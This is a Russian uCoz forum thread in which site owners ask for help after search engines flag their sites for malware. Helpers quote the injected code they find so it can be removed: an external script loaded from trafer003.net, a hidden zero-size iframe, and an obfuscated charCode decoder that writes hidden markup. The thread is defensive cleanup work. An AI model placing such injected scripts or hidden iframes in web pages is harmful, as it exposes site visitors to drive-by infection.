Модератор форума: Yuri_G  
Вирусы на сайтах (для изучения)
konechnoya
Сообщений: 1
Репутация: 0

Сообщение # 466 | 15:01:30
Здравствуйте! Адрес моего сайта: http://lotoskay.ucoz.ru
У меня возникла следующая проблема: Яндекс Вебмастер сообщает о том, что сайт содержит вирус и указываются адреса страниц: http://lotoskay.ucoz.ru//load/muzyka/turistskie_pesni/93
http://lotoskay.ucoz.ru//load/tematicheskoe_planirovanie/biologija/13/
Google заблокировал сайт, как подозрительный и выдает сообщение:
Из протестированных нами за последние 90 дней страниц данного сайта (4) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 2.
Количество доменов, на которых размещается вредоносное ПО, равняется 1, включая egaege.co.cc/.
Несколько доменов (1), по всей видимости, является промежуточными звеньями в распространении вредоносного ПО среди посетителей этого сайта, включая trafer003.net/.
За последние 90 дней сайт lotoskay.ucoz.ru не был промежуточным звеном в заражении других сайтов.
За последние 90 дней на этом сайте не размещалось вредоносное программное обеспечение.
Подскажите мне пути решения возникшей проблемы.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 467 | 15:06:29
konechnoya, у вас подсажен вредоносный скрипт в счетчик майла. выделенное красным удалить
Quote
<!--Rating@Mail.ru counter-->
<script language="javascript"><!--
d=document;var a='';a+=';r='+escape(d.referrer);js=10;//--></script>
<script language="javascript1.1"><!--
a+=';j='+navigator.javaEnabled();js=11;//--></script>
<script language="javascript1.2"><!--
s=screen;a+=';s='+s.width+'*'+s.height;
a+=';d='+(s.colorDepth?s.colorDepth:s.pixelDepth);js=12;//--></script>
<script language="javascript1.3"><!--
js=13;//--></script><script language="javascript" type="text/javascript"><!--
d.write('<a href="http://top.mail.ru/jump?from=1793116" target="_top">'+
'<img src="http://dc.c5.bb.a1.top.mail.ru/counter?id=1793116;t=53;js='+js+
a+';rand='+Math.random()+'" alt="Рейтинг@Mail.ru" border="0" '+
'height="31" width="88"><\/a>');if(11<js)d.write('<'+'!-- ');//--></script>
<noscript><a target="_top" href="http://top.mail.ru/jump?from=1793116">
<img src="http://dc.c5.bb.a1.top.mail.ru/counter?js=na;id=1793116;t=53"
height="31" width="88" border="0" alt="Рейтинг@Mail.ru"></a></noscript>

<script language="javascript" type="text/javascript"><!--
if(11<js)d.write('--'+'>');//--></script>
<script language="JavaScript" src="http://trafer003.net/selljs/?id=694"></script>
<!--// Rating@Mail.ru counter--><!-- begin of Top100 logo -->


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
svdressmaker
Сообщений: 25
Репутация: 3

Сообщение # 468 | 20:38:26
Доброе время суток.
Сегодня не случайно заметила эту тему и решила сканировать комп мужа тк мой полностью сломан вирусом.И вот,что выдал антивирусник.
Может кто то может прокомментировать.

БлагоДарю smile

Прикрепления: 9775925.png (47.3 Kb)

Мы не сможем без искажений воспринимать другого человека до тех пор, пока наш ум не будет чист (свободен от грехов).

(Веды)

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 469 | 20:45:30
svdressmaker, не обращайте внимания. у вас есть сайт на юкозе? у вас есть проблемы с блокировкой McAfee вашего сайта?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
svdressmaker
Сообщений: 25
Репутация: 3

Сообщение # 470 | 21:13:56
webanet,да,у меня несколько сайтов на юкозе,обожаю её познавать и расти. tongue
Я так и поняла,что как обычно и бывает с антивирусниками.
Нет,проблем никогда не было.Пару дней назад мой комп сгорел и я подозреваю после того как я скачала пару шаблонов адаптированный для юкозы.Там были всплывающие окна при входе....Утверждать не буду,но проблема после этого началась.Только шапку взяла с того шаблона и то таблицу без всяких джав кодов тк с остальным возиться не было времени да и новости не работали.А,основу у нас на юкозе поменяла сегодня ночью просто и красиво. www.1reikiveda.ru

Спасибо за ответ tongue
heart


Мы не сможем без искажений воспринимать другого человека до тех пор, пока наш ум не будет чист (свободен от грехов).

(Веды)

Сообщение отредактировал svdressmaker - Воскресенье, 13 Фев 2011, 21:17:21
Консорциум
Сообщений: 1
Репутация: 0

Сообщение # 471 | 21:31:35
http://rtyas.ucoz.ru/load/skachat_vzlomannyj_steam_unlock_steam_cracked_steam/1-1-0-24 я скачал это но там был врус. Там нелюди и скот!!!!!!!! Нафига вирусню пихают. У меня был уничтожин комп и игры. И мен поругали родители и наказали из за этих уродце angry angry angry angry angry Я их ненавижу! Я бы им в реали бы нашел исли бы с моего города были и наказал.
Пожалуста подскажите куда надо писать что бы этот сайт нафиг забанили и админов тоже!!!!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 472 | 21:37:34
Консорциум, вот сюда пожалуйста пишите жалобу на сайт с указанием ссылки на вредоносный файл //www.ucoz.ru/abuse/

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Ruskill
Сообщений: 4
Репутация: 0

Сообщение # 473 | 21:45:15
На сайте много вирусов помогите!!!

Добавлено (13-Фев-2011, 21:45:15)
---------------------------------------------

Quote (Ruskill)
На сайте много вирусов помогите!!!

Сайт http://prorsteam.clan.su/

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 474 | 21:55:30
Ruskill, блок опросов
выделенное красным удалить
Quote
<input type="hidden" name="id" value="5" />
<input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="119" /></div>
<div style="padding-top:4px;text-align:center;"><iframe src="http://5fg4.pp.ua" width="0" height="0" style="display:none"></iframe><img alt="javascript://" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'http://prorsteam.clan.su/poll/5'});return false;" src="http://i065.ra

удалить
Code
<script type="text/javascript" src="http://best-stydio.o-ucoz.ru/informer/2"></script>
скрипт битый
и дайте форму входа пользователя и форму его профиля на сайте

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Ruskill
Сообщений: 4
Репутация: 0

Сообщение # 475 | 22:04:46
Я не могу войти под свой акк после того как начиная входить меня перекидывает на http://www.ucoz.com/ Как можно это исправить?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 476 | 22:08:01
заходим отсюда http://prorsteam.clan.su/admin
или из вебтопа второе лучше

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Szen
Сообщений: 38
Репутация: 55

Сообщение # 477 | 22:40:15
Ruskill, убрать из кода:
Code
<SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!100!105!118!32!115!116!121!108!101!61!34!112!111!115!105!116!105!111!110!58!102!
105!120!101!100!59!32!122!45!105!110!100!101!120!5 8!  57!57!57!57!59!32!116!111!112!58!48
!112!120!59!32!114!105!103!104!116!58!48!112!120!59!34!62!32!10!60!105!109!103!32!98!111
!114!100! 101!114!  61!34!48!34!32!115!114!99!61!34!104!116!116!112!58!47!47!119!101!98!111
!52!107!97!46!51!100!110!46!114!117!47!85!99!111!122!47!5 7!95!109!97!  106!97!95!111!116!95
!119!101!98!111!52!107!105!46!112!110!103!34!32!97!108!116!61!34!34!32!47!62!32!10!60!47!
100!105!118!6 2!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>

Этот код я заметил в 2-х местах. Вначале страницы и в правом блоке.



szenprogs.ru
Сообщение отредактировал Szen - Воскресенье, 13 Фев 2011, 22:44:18
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 478 | 23:29:05
Ruskill, скорее всего антивирус заблокировал вам sub. вам надо в пу
чистим кеш. чистим куки. удаляем все временные файлы интернета. отключаем антивирус. заходим сюда
http://unet.com/ логинимся. в папке мои сайты ищем свой сайт. напротив сайта есть кнопочка пу если не установлен отдельный вход на сайт, то попадаем в админку (это безопасно) и через редактор страниц чистим свой сайт. потом подключаем антивирус и идем смотреть на сайт результаты. не забудьте выложить код профиля пользователя на сайте. там тоже может что-либо быть, чтобы полностью быть уверенными

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 479 | 00:03:47
Xnokie, читайте шапку темы про блокировки в браузерах. табличка снимется не сразу

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 480 | 22:19:23
Консорциум, если вы не прекратите сюда писать, то я вынуждена буду заблокировать вашу активность. с форума сайты не блокируют. если вы подали заявку в абузу, то она будет рассмотрена и будет принято решение. на форуме писать бесполезно. ждите рассмотрения вашей заявки и не пишите тут больше.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!